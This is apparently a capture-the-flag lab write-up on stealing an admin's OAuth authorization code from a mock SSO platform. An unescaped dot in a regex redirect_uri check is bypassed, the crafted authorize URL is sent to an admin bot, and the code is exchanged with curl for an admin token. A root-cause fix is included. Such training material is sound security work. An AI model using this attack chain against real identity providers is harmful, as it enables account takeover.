Lab 35 — GateKeeper SSO — Open Redirect via Regex URI Validation
Lab 35 — GateKeeper SSO — Open Redirect via Regex URI Validation
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-06 | Status: Solved Techniques: admin_bot_exploitation, oauth_authorization_code_theft, redirect_uri_validation_bypass, regex_dot_bypass, token_exchange
Summary
Task: OAuth 2.0 SSO platform with regex-based redirect_uri validation where dot is unescaped, admin bot visits support ticket URLs. Solution: Bypass redirect_uri regex by replacing dot with dash, capture admin's authorization code via callback tester, exchange for access token to retrieve flag from userinfo endpoint.
Lab 35 — GateKeeper SSO — Open Redirect via Regex URI Validation — Hackadvisor
Description
GateKeeper SSO is an identity provider platform used by organizations to manage authentication across their internal applications. The platform provides OAuth 2.0 and OpenID Connect flows, allowing connected applications to authenticate users through a centralized login system. You have been given a test account to audit the platform's security. Your objective is to find a vulnerability in the OAuth 2.0 implementation that could allow you to compromise the admin account and retrieve the flag. The platform includes a support ticket system where administrators review submitted URLs. An admin bot periodically visits links submitted through support tickets while logged in with administrative privileges.
Given credentials: user@test.com / password123
Target: OAuth 2.0 / OpenID Connect SSO platform with regex-based redirect URI validation. The flag is stored in the admin user's profile, accessible via the /api/userinfo endpoint with admin privileges.
Analysis
-
Application Structure:
- Dashboard with navigation to: Applications, Support Tickets, Callback Tester (Tools), Settings
- OpenID Configuration at
/.well-known/openid-configurationrevealing endpoints:/oauth/authorize,/oauth/token,/api/userinfo - Support Tickets system where submitted URLs are visited by an admin bot (authenticated as admin)
- Callback Tester tool that generates endpoints at
/apps/<identifier>/callbackto capture incoming query parameters
-
Registered OAuth Application — AcmeCorp Portal:
- Client ID:
portal-acme-prod - Client Secret:
sec_7f3a9b21c8e04d5fa6b1e2c3d4f5a6b7(visible on app details page) - Registered redirect URI:
http://localhost:8080/apps/portal.acmecorp/callback - App details page noted: validates redirect_uri using pattern matching (regex)
- Client ID:
-
Regex Bypass — Unescaped Dot:
- The registered redirect URI contains
portal.acmecorpwhere the.(dot) is a regex metacharacter - In regex,
.matches any single character, not just a literal dot - This means
portal-acmecorp,portal_acmecorp,portalXacmecorp, etc. all pass validation - Tested:
redirect_uri=http://localhost:8080/apps/portal-acmecorp/callback→ 302 redirect (accepted) - Tested: completely different host/path → 400 Bad Request (rejected, regex is anchored)
- The registered redirect URI contains
-
Attack Chain:
- Create a callback capture endpoint matching the regex-bypassed URI
- Craft an OAuth authorize URL with the attacker-controlled redirect_uri
- Submit the URL via support ticket so the admin bot visits it
- Admin bot authenticates → auto-approves → redirected to attacker's callback with authorization code
- Exchange the stolen code for an access token → access admin's userinfo
Solution
Step 1: Set Up Callback Capture Endpoint
Used the built-in Callback Tester tool to create an endpoint with identifier portal-acmecorp (dash instead of dot):
POST /tools/callback-tester/generate
custom_token=portal-acmecorp
This created /apps/portal-acmecorp/callback — an unauthenticated endpoint that captures all incoming query parameters and displays them in the tester dashboard.
Step 2: Verify Regex Bypass
Confirmed the redirect_uri with dash passes validation:
GET /oauth/authorize?response_type=code&client_id=portal-acme-prod&redirect_uri=http://localhost:8080/apps/portal-acmecorp/callback&scope=openid
Result: 302 redirect to the callback URL (regex . matched -).
Step 3: Submit Malicious OAuth URL via Support Ticket
Submitted a support ticket containing the crafted OAuth authorize URL for the admin bot to visit:
POST /support/tickets/new
subject=OAuth redirect issue
category=bug_report
description=Please check this URL
url=http://localhost:8080/oauth/authorize?response_type=code&client_id=portal-acme-prod&redirect_uri=http://localhost:8080/apps/portal-acmecorp/callback&scope=openid%20profile%20email
The admin bot (running on the same server, so localhost:8080 resolves correctly) visited the URL while authenticated as admin. The OAuth flow auto-approved without a consent screen and redirected to the attacker-controlled callback.
Step 4: Capture Admin's Authorization Code
Checked the Callback Tester dashboard and found the captured authorization code:
#2 | {"code": "pyjtaIV1zfp7ud5LxGeQOiCLlIf6hGHdya2vXiVTNzo"} | Source: 127.0.0.1
Step 5: Exchange Code for Access Token
bash read-only • copy allowedcurl -X POST http://localhost:8080/oauth/token \ -d "grant_type=authorization_code" \ -d "code=pyjtaIV1zfp7ud5LxGeQOiCLlIf6hGHdya2vXiVTNzo" \ -d "redirect_uri=http://localhost:8080/apps/portal-acmecorp/callback" \ -d "client_id=portal-acme-prod" \ -d "client_secret=sec_7f3a9b21c8e04d5fa6b1e2c3d4f5a6b7"
Response:
json read-only • copy allowed{ "access_token": "eyJhbGciOiJIUzI1NiIs...", "expires_in": 3600, "scope": "openid profile email", "token_type": "Bearer" }
JWT payload confirmed admin access: {"sub":"1","email":"admin@gatekeeper-id.com","role":"admin"}
Step 6: Retrieve Flag from Admin Userinfo
bash read-only • copy allowedcurl /api/userinfo -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIs..."
Response:
json read-only • copy allowed{ "admin_note": "GateKeeper administrative account", "email": "admin@gatekeeper-id.com", "email_verified": true, "flag": "FLAG{REDACTED}", "name": "Sarah Whitfield", "role": "admin", "sub": "1" }
Root Cause
The redirect URI validation used regex pattern matching where the . (dot) character in the registered URI portal.acmecorp was not escaped as \.. In regex, . matches any single character, so an attacker could register a callback endpoint with a different but regex-compatible name (e.g., portal-acmecorp) and use it as a valid redirect_uri. Combined with the admin bot visiting user-submitted URLs while authenticated, this enabled a full OAuth authorization code theft attack chain.
The proper fix is to either:
- Escape regex metacharacters in registered redirect URIs (use
portal\.acmecorp) - Use exact string matching instead of regex for redirect_uri validation (RFC 6749 Section 3.1.2.3 recommends exact match)